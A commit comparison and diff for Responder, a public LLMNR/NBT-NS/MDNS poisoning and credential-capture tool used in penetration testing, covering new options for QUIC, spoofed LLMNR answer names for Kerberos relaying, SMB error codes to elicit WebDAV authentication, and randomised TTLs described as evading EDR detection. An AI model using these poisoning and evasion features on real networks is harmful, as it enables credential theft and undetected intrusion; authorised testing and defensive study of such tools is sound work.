Compare commits

..

38 commits

Author SHA1 Message Date
lgandx
398a1fce31 Fixed minor parsing issue in FindIP 2025-05-22 18:45:45 -03:00
lgandx
fa2b8dd5fd minor fixes 2025-05-22 11:42:50 -03:00
lgandx
58eb8731a5 Added SNMP srv enabled by default 2025-05-22 05:34:30 -03:00
lgandx
658480e0a5 added recent changelog 2025-05-22 05:27:55 -03:00
lgandx
a76ee47867 added check for aioquic & updated version to reflect recent changes 2025-05-22 05:23:00 -03:00
lgandx
e346c01695
Merge pull request #310 from ctjf/master
added quic support based on xpn's work
2025-05-22 05:17:27 -03:00
lgandx
41ed7c4f4a
Merge pull request #308 from BlWasp/error_code_returned
Add control on the status code returned by the SMB server
2025-05-22 04:32:13 -03:00
lgandx
ea820ab076
Merge pull request #311 from stfnw/master
DHCP poisoner: refactor FindIP
2025-05-22 04:30:07 -03:00
Stefan Walter
a0d1f03617
DHCP poisoner: refactor FindIP
- do not crash on IP addresses where one octet contains 0x45 0x4f or 0x46

- operate on bytes (avoid encoding/decoding round-trip)
  and use simple string search instead of regular expressions

closes #181
closes #304
2025-04-12 12:11:00 +02:00
Joshua Fickett
871cdffa97 added quic support based on xpn's work 2025-04-03 15:16:00 -04:00
BlackWasp
e781559be0 Indentation typos 2025-03-16 23:40:51 +01:00
BlackWasp
6bf6887c49 Add status code control 2025-03-16 23:32:19 +01:00
lgandx
545137275f
Merge pull request #305 from L1-0/patch-1
Update RPC.py
2025-03-13 11:28:24 -03:00
Lino
6743423251
Update RPC.py
Fix Output of RPC.py
2025-02-24 11:49:06 +01:00
lgandx
d740fb526f
Merge pull request #301 from q-roland/kerberos_relaying_llmnr
Adding answer name spoofing capabilities to LLMNR poisoner for Kerberos relaying purposes
2025-01-27 07:22:07 -03:00
User
d3dd37a324 Adding answer name spoofing capabilities when poisoning LLMNR for Kerberos relaying purpose 2025-01-23 14:35:41 -08:00
lgandx
e918fe01c6 added option to disable a TLD due to windows 11 infinite loop with _dosvc 2024-09-24 11:06:50 -03:00
lgandx
538e6c0d0d
Merge pull request #289 from brightio/patch-3
StartupMessage doesn't take into account the actual LLMNR, NBT-NS and MDNS
2024-09-11 17:04:14 -03:00
brightio
990df258a6
StartupMessage doesn't take into account the actual LLMNR, NBT-NS and MDNS status 2024-09-10 16:49:31 +02:00
lgandx
4947ae6e52 Added default mode for TTL option 2024-05-14 11:02:35 -03:00
lgandx
116a056e7d Listed all contributors over time. Thanks for your contribution to this project! 2024-05-08 10:14:11 -03:00
lgandx
d715f2de21 Updated Changelog 2024-05-08 09:41:44 -03:00
lgandx
64cf4d9873 minor fix 2024-05-06 09:56:02 -03:00
lgandx
ccbcd1736f minox typo fix 2024-05-06 09:24:06 -03:00
lgandx
413bc8be31 Fixed issue with smb signing detection 2024-05-06 09:16:36 -03:00
lgandx
bf25abfec8
Merge pull request #275 from nodauf/master
Random TTL value added to avoid some EDR detections
2024-05-06 07:33:27 -03:00
lgandx
06b33edc27
Merge pull request #276 from f3rn0s/master
Add options for poisoners
2024-05-06 07:10:32 -03:00
f3rn0s
807bd57a96 Add options for poisoners 2024-04-30 15:52:04 +10:00
nodauf
f50f0be59c Add randomness in TTL value to avoid some EDR detections 2024-04-02 16:42:09 +02:00
lgandx
1a2f2fdb22 added support for either resolv.conf or resolvectl 2024-01-06 15:01:43 -03:00
lgandx
e51f24e36c fixed minor bug 2024-01-06 13:48:41 -03:00
lgandx
fa297c8a16 Fixed bug when IPv6 is disabled via GRUB. 2024-01-06 12:44:38 -03:00
lgandx
44bfd1d221 DNS dump updated + removed var dump info on Config-Responder.log 2024-01-06 09:19:10 -03:00
lgandx
66e5b12c56 Updated changelog 2024-01-06 07:15:50 -03:00
lgandx
4b560f6e17 removed debug string 2024-01-04 20:44:13 -03:00
lgandx
e564e5159b removed bowser listener 2024-01-04 20:37:45 -03:00
lgandx
4b14455bdc minor fix on ldap 2024-01-04 19:50:16 -03:00
lgandx
ee5ab9a5fd default -> py3 2024-01-04 19:04:15 -03:00
22 changed files with 1234 additions and 541 deletions

File diff suppressed because it is too large Load diff

76
Contributors Normal file
View file

@ -0,0 +1,76 @@
Commits | user
15 @jrmdev
7 @nobbd
6 @ValdikSS
6 @also-here
5 @HexPandaa
5 @exploide
5 @jvoisin
4 @Clément Notin
4 @Shutdown
4 @Yannick Méheut
3 @Hank Leininger
3 @brightio
3 @byt3bl33d3r
3 @myst404
3 @skelsec
2 @Alexandre ZANNI
2 @Crypt0-M3lon
2 @Laban Sköllermark
2 @Matthew Daley
2 @Pixis
2 @Rob Fuller
2 @ThePirateWhoSmellsOfSunflowers
2 @Vincent Yiu
2 @requin
1 @Andrii Nechytailov
1 @Antonio Herraiz
1 @Chris Maddalena
1 @Euan
1 @Garret Picchioni
1 @Gifts
1 @Gustaf Blomqvist
1 @Hubert Seiwert
1 @IMcPwn
1 @Jared Haight
1 @Jim Shaver
1 @Khiem Doan
1 @Leon Jacobs
1 @Lionel PRAT
1 @Markus
1 @MatToufoutu
1 @Matt
1 @Matt Andreko
1 @Matt Kelly
1 @Nikos Vassakis
1 @OJ
1 @Paul A
1 @Randy Ramos
1 @SAERXCIT
1 @Sagar-Jangam
1 @Sans23
1 @Sophie Brun
1 @Stephen Shkardoon
1 @Syntricks
1 @Timon Hackenjos
1 @Tom Aviv
1 @Ziga P
1 @cweedon
1 @deltronzero
1 @f3rn0s
1 @jackassplus
1 @jb
1 @kevintellier
1 @kitchung
1 @klemou
1 @lanjelot
1 @nickyb
1 @nodauf
1 @nop5L3D
1 @pixis
1 @ravenium
1 @soa
1 @steven
1 @thejosko
1 @trustedsec

View file

@ -1,4 +1,4 @@
#!/usr/bin/env python #!/usr/bin/env python3
# This file is part of Responder, a network take-over set of tools # This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie. # created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com # email: laurent.gaffie@gmail.com

View file

@ -157,13 +157,27 @@ Options:
False False
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt) -P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
authentication for the proxy. WPAD doesn't need to be authentication for the proxy. WPAD doesn't need to be
ON. Default: False ON. This option is highly effective. Default: False
-Q, --quiet Tell Responder to be quiet, disables a bunch of
printing from the poisoners. Default: False
--lm Force LM hashing downgrade for Windows XP/2003 and --lm Force LM hashing downgrade for Windows XP/2003 and
earlier. Default: False earlier. Default: False
--disable-ess Force ESS downgrade. Default: False --disable-ess Force ESS downgrade. Default: False
-v, --verbose Increase verbosity. -v, --verbose Increase verbosity.
-t 1e, --ttl=1e Change the default Windows TTL for poisoned answers.
Value in hex (30 seconds = 1e). use '-t random' for
random TTL
-N ANSWERNAME, --AnswerName=ANSWERNAME
Specifies the canonical name returned by the LLMNR
poisoner in tits Answer section. By default, the
answer's canonical name is the same as the query.
Changing this value is mainly useful when attempting
to perform Kebreros relaying over HTTP.
-E, --ErrorCode Changes the error code returned by the SMB server to
STATUS_LOGON_FAILURE. By default, the status is
STATUS_ACCESS_DENIED. Changing this value permits to
obtain WebDAV authentications from the poisoned
machines where the WebClient service is running.
## Donation ## ## Donation ##

View file

@ -1,4 +1,4 @@
#!/usr/bin/env python #!/usr/bin/env python3
# This file is part of Responder, a network take-over set of tools # This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie. # created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com # email: laurent.gaffie@gmail.com

View file

@ -1,8 +1,14 @@
[Responder Core] [Responder Core]
; Poisoners to start
MDNS = On
LLMNR = On
NBTNS = On
; Servers to start ; Servers to start
SQL = On SQL = On
SMB = On SMB = On
QUIC = On
RDP = On RDP = On
Kerberos = On Kerberos = On
FTP = On FTP = On
@ -15,7 +21,7 @@ DNS = On
LDAP = On LDAP = On
DCERPC = On DCERPC = On
WINRM = On WINRM = On
SNMP = Off SNMP = On
MQTT = On MQTT = On
; Custom challenge. ; Custom challenge.
@ -53,9 +59,13 @@ RespondToName =
DontRespondTo = DontRespondTo =
; Specific NBT-NS/LLMNR names not to respond to (default = None) ; Specific NBT-NS/LLMNR names not to respond to (default = None)
; Example: DontRespondTo = NAC, IPS, IDS ; Example: DontRespondToName = NAC, IPS, IDS
DontRespondToName = ISATAP DontRespondToName = ISATAP
; MDNS TLD not to respond to (default = _dosvc). Do not add the ".", only the TLD.
; Example: DontRespondToTLD = _dosvc, _blasvc, etc
DontRespondToTLD = _dosvc
; If set to On, we will stop answering further requests from a host ; If set to On, we will stop answering further requests from a host
; if a hash has been previously captured for this host. ; if a hash has been previously captured for this host.
AutoIgnoreAfterSuccess = Off AutoIgnoreAfterSuccess = Off

View file

@ -14,6 +14,7 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import asyncio
import optparse import optparse
import ssl import ssl
try: try:
@ -45,6 +46,9 @@ parser.add_option('-Q','--quiet', action="store_true", help="Tell Resp
parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False) parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False) parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False)
parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose") parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose")
parser.add_option('-t','--ttl', action="store", help="Change the default Windows TTL for poisoned answers. Value in hex (30 seconds = 1e). use '-t random' for random TTL", dest="TTL", metavar="1e", default=None)
parser.add_option('-N', '--AnswerName', action="store", help="Specifies the canonical name returned by the LLMNR poisoner in tits Answer section. By default, the answer's canonical name is the same as the query. Changing this value is mainly useful when attempting to perform Kebreros relaying over HTTP.", dest="AnswerName", default=None)
parser.add_option('-E', '--ErrorCode', action="store_true", help="Changes the error code returned by the SMB server to STATUS_LOGON_FAILURE. By default, the status is STATUS_ACCESS_DENIED. Changing this value permits to obtain WebDAV authentications from the poisoned machines where the WebClient service is running.", dest="ErrorCode", default=False)
options, args = parser.parse_args() options, args = parser.parse_args()
if not os.geteuid() == 0: if not os.geteuid() == 0:
@ -69,6 +73,8 @@ settings.Config.ExpandIPRanges()
#Create the DB, before we start Responder. #Create the DB, before we start Responder.
CreateResponderDb() CreateResponderDb()
Have_IPv6 = settings.Config.IPv6
class ThreadingUDPServer(ThreadingMixIn, UDPServer): class ThreadingUDPServer(ThreadingMixIn, UDPServer):
def server_bind(self): def server_bind(self):
if OsInterfaceIsSupported(): if OsInterfaceIsSupported():
@ -78,9 +84,11 @@ class ThreadingUDPServer(ThreadingMixIn, UDPServer):
else: else:
if (sys.version_info > (3, 0)): if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else: else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except: except:
pass pass
@ -95,9 +103,11 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer):
else: else:
if (sys.version_info > (3, 0)): if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else: else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except: except:
pass pass
@ -112,9 +122,11 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
else: else:
if (sys.version_info > (3, 0)): if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else: else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except: except:
pass pass
@ -131,9 +143,11 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
#IPV6: #IPV6:
if (sys.version_info > (3, 0)): if (sys.version_info > (3, 0)):
if Have_IPv6:
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface)) mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq) self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
else: else:
if Have_IPv6:
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface)) mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq) self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
if OsInterfaceIsSupported(): if OsInterfaceIsSupported():
@ -143,9 +157,11 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
else: else:
if (sys.version_info > (3, 0)): if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else: else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except: except:
pass pass
@ -160,6 +176,7 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton) Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton)
#IPV6: #IPV6:
if Have_IPv6:
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface)) mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq) self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
if OsInterfaceIsSupported(): if OsInterfaceIsSupported():
@ -169,9 +186,11 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
else: else:
if (sys.version_info > (3, 0)): if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else: else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except: except:
pass pass
@ -179,19 +198,24 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
ThreadingUDPServer.allow_reuse_address = 1 ThreadingUDPServer.allow_reuse_address = 1
ThreadingUDPServer.address_family = socket.AF_INET6 if Have_IPv6:
ThreadingUDPServer.address_family = socket.AF_INET6
ThreadingTCPServer.allow_reuse_address = 1 ThreadingTCPServer.allow_reuse_address = 1
ThreadingTCPServer.address_family = socket.AF_INET6 if Have_IPv6:
ThreadingTCPServer.address_family = socket.AF_INET6
ThreadingUDPMDNSServer.allow_reuse_address = 1 ThreadingUDPMDNSServer.allow_reuse_address = 1
ThreadingUDPMDNSServer.address_family = socket.AF_INET6 if Have_IPv6:
ThreadingUDPMDNSServer.address_family = socket.AF_INET6
ThreadingUDPLLMNRServer.allow_reuse_address = 1 ThreadingUDPLLMNRServer.allow_reuse_address = 1
ThreadingUDPLLMNRServer.address_family = socket.AF_INET6 if Have_IPv6:
ThreadingUDPLLMNRServer.address_family = socket.AF_INET6
ThreadingTCPServerAuth.allow_reuse_address = 1 ThreadingTCPServerAuth.allow_reuse_address = 1
ThreadingTCPServerAuth.address_family = socket.AF_INET6 if Have_IPv6:
ThreadingTCPServerAuth.address_family = socket.AF_INET6
def serve_thread_udp_broadcast(host, port, handler): def serve_thread_udp_broadcast(host, port, handler):
try: try:
@ -278,16 +302,23 @@ def main():
threads = [] threads = []
# Load (M)DNS, NBNS and LLMNR Poisoners # Load (M)DNS, NBNS and LLMNR Poisoners
if settings.Config.LLMNR_On_Off:
from poisoners.LLMNR import LLMNR from poisoners.LLMNR import LLMNR
from poisoners.NBTNS import NBTNS
from poisoners.MDNS import MDNS
threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,))) threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,)))
threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,)))
if settings.Config.NBTNS_On_Off:
from poisoners.NBTNS import NBTNS
threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,))) threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,)))
if settings.Config.MDNS_On_Off:
from poisoners.MDNS import MDNS
threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,)))
#// Vintage Responder BOWSER module, now disabled by default.
#// Generate to much noise & easily detectable on the network when in analyze mode.
# Load Browser Listener # Load Browser Listener
from servers.Browser import Browser #from servers.Browser import Browser
threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,))) #threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,)))
if settings.Config.HTTP_On_Off: if settings.Config.HTTP_On_Off:
from servers.HTTP import HTTP from servers.HTTP import HTTP
@ -332,6 +363,12 @@ def main():
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 445, SMB1,))) threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 445, SMB1,)))
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 139, SMB1,))) threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 139, SMB1,)))
if settings.Config.QUIC_On_Off:
from servers.QUIC import start_quic_server
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
threads.append(Thread(target=lambda: asyncio.run(start_quic_server(settings.Config.Bind_To, cert, key))))
if settings.Config.Krb_On_Off: if settings.Config.Krb_On_Off:
from servers.Kerberos import KerbTCP, KerbUDP from servers.Kerberos import KerbTCP, KerbUDP
threads.append(Thread(target=serve_thread_udp, args=('', 88, KerbUDP,))) threads.append(Thread(target=serve_thread_udp, args=('', 88, KerbUDP,)))

View file

@ -52,7 +52,7 @@ class NBT_Ans(Packet):
("NbtName", ""), ("NbtName", ""),
("Type", "\x00\x20"), ("Type", "\x00\x20"),
("Classy", "\x00\x01"), ("Classy", "\x00\x01"),
("TTL", "\x00\x00\x00\xa5"), ("TTL", "\x00\x04\x93\xe0"), #TTL: 3 days, 11 hours, 20 minutes (Default windows behavior)
("Len", "\x00\x06"), ("Len", "\x00\x06"),
("Flags1", "\x00\x00"), ("Flags1", "\x00\x00"),
("IP", "\x00\x00\x00\x00"), ("IP", "\x00\x00\x00\x00"),
@ -263,7 +263,7 @@ class LLMNR_Ans(Packet):
("AnswerNameNull", "\x00"), ("AnswerNameNull", "\x00"),
("Type1", "\x00\x01"), ("Type1", "\x00\x01"),
("Class1", "\x00\x01"), ("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec. ("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec (Default windows behavior)
("IPLen", "\x00\x04"), ("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"), ("IP", "\x00\x00\x00\x00"),
]) ])
@ -292,7 +292,7 @@ class LLMNR6_Ans(Packet):
("AnswerNameNull", "\x00"), ("AnswerNameNull", "\x00"),
("Type1", "\x00\x1c"), ("Type1", "\x00\x1c"),
("Class1", "\x00\x01"), ("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec. ("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec (Default windows behavior).
("IPLen", "\x00\x04"), ("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"), ("IP", "\x00\x00\x00\x00"),
]) ])
@ -316,7 +316,7 @@ class MDNS_Ans(Packet):
("AnswerNameNull", "\x00"), ("AnswerNameNull", "\x00"),
("Type", "\x00\x01"), ("Type", "\x00\x01"),
("Class", "\x00\x01"), ("Class", "\x00\x01"),
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn. ("TTL", "\x00\x00\x00\x78"),##Poison for 2mn (Default windows behavior)
("IPLen", "\x00\x04"), ("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"), ("IP", "\x00\x00\x00\x00"),
]) ])
@ -338,7 +338,7 @@ class MDNS6_Ans(Packet):
("AnswerNameNull", "\x00"), ("AnswerNameNull", "\x00"),
("Type", "\x00\x1c"), ("Type", "\x00\x1c"),
("Class", "\x00\x01"), ("Class", "\x00\x01"),
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn. ("TTL", "\x00\x00\x00\x78"),##Poison for 2mn (Default windows behavior)
("IPLen", "\x00\x04"), ("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"), ("IP", "\x00\x00\x00\x00"),
]) ])
@ -1035,9 +1035,9 @@ class LDAPNTLMChallenge(Packet):
("NTLMSSPNtTargetInfoLen", "\x94\x00"), ("NTLMSSPNtTargetInfoLen", "\x94\x00"),
("NTLMSSPNtTargetInfoMaxLen", "\x94\x00"), ("NTLMSSPNtTargetInfoMaxLen", "\x94\x00"),
("NTLMSSPNtTargetInfoBuffOffset", "\x56\x00\x00\x00"), ("NTLMSSPNtTargetInfoBuffOffset", "\x56\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionHigh", "\x05"), ("NegTokenInitSeqMechMessageVersionHigh", "\x0a"),
("NegTokenInitSeqMechMessageVersionLow", "\x02"), ("NegTokenInitSeqMechMessageVersionLow", "\x00"),
("NegTokenInitSeqMechMessageVersionBuilt", "\xce\x0e"), ("NegTokenInitSeqMechMessageVersionBuilt", "\x7c\x4f"),
("NegTokenInitSeqMechMessageVersionReserved", "\x00\x00\x00"), ("NegTokenInitSeqMechMessageVersionReserved", "\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType", "\x0f"), ("NegTokenInitSeqMechMessageVersionNTLMType", "\x0f"),
("NTLMSSPNtWorkstationName", settings.Config.Domain), ("NTLMSSPNtWorkstationName", settings.Config.Domain),

View file

@ -239,9 +239,13 @@ def ParseSrcDSTAddr(data):
return SrcIP, SrcPort, DstIP, DstPort return SrcIP, SrcPort, DstIP, DstPort
def FindIP(data): def FindIP(data):
data = data.decode('latin-1') IPPos = data.find(b"\x32\x04") + 2
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data)) if IPPos == -1 or IPPos + 4 >= len(data) or IPPos == 1:
return ''.join(IP[0:4]).encode('latin-1') #Probably not present in the DHCP options we received, let's grab it from the IP header instead
return data[12:16]
else:
IP = data[IPPos:IPPos+4]
return IP
def ParseDHCPCode(data, ClientIP,DHCP_DNS): def ParseDHCPCode(data, ClientIP,DHCP_DNS):
global DHCPClient global DHCPClient

View file

@ -22,6 +22,9 @@ if (sys.version_info > (3, 0)):
else: else:
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
#Should we answer to those AAAA?
Have_IPv6 = settings.Config.IPv6
def Parse_LLMNR_Name(data): def Parse_LLMNR_Name(data):
import codecs import codecs
NameLen = data[12] NameLen = data[12]
@ -55,6 +58,10 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
try: try:
data, soc = self.request data, soc = self.request
Name = Parse_LLMNR_Name(data).decode("latin-1") Name = Parse_LLMNR_Name(data).decode("latin-1")
if settings.Config.AnswerName is None:
AnswerName = Name
else:
AnswerName = settings.Config.AnswerName
LLMNRType = Parse_IPV6_Addr(data) LLMNRType = Parse_IPV6_Addr(data)
# Break out if we don't want to respond to this host # Break out if we don't want to respond to this host
@ -73,12 +80,19 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
}) })
elif LLMNRType == True: # Poisoning Mode elif LLMNRType == True: # Poisoning Mode
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name) #Default:
if settings.Config.TTL == None:
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName)
else:
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName, TTL=settings.Config.TTL)
Buffer1.calculate() Buffer1.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
if not settings.Config.Quiet_Mode: if not settings.Config.Quiet_Mode:
LineHeader = "[*] [LLMNR]" LineHeader = "[*] [LLMNR]"
if settings.Config.AnswerName is None:
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1)) print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
else:
print(color("%s Poisoned answer sent to %s for name %s (spoofed answer name %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, AnswerName), 2, 1))
SavePoisonersToDb({ SavePoisonersToDb({
'Poisoner': 'LLMNR', 'Poisoner': 'LLMNR',
'SentToIp': self.client_address[0], 'SentToIp': self.client_address[0],
@ -86,13 +100,20 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
'AnalyzeMode': '0', 'AnalyzeMode': '0',
}) })
elif LLMNRType == 'IPv6': elif LLMNRType == 'IPv6' and Have_IPv6:
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name) #Default:
if settings.Config.TTL == None:
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName)
else:
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName, TTL=settings.Config.TTL)
Buffer1.calculate() Buffer1.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
if not settings.Config.Quiet_Mode: if not settings.Config.Quiet_Mode:
LineHeader = "[*] [LLMNR]" LineHeader = "[*] [LLMNR]"
if settings.Config.AnswerName is None:
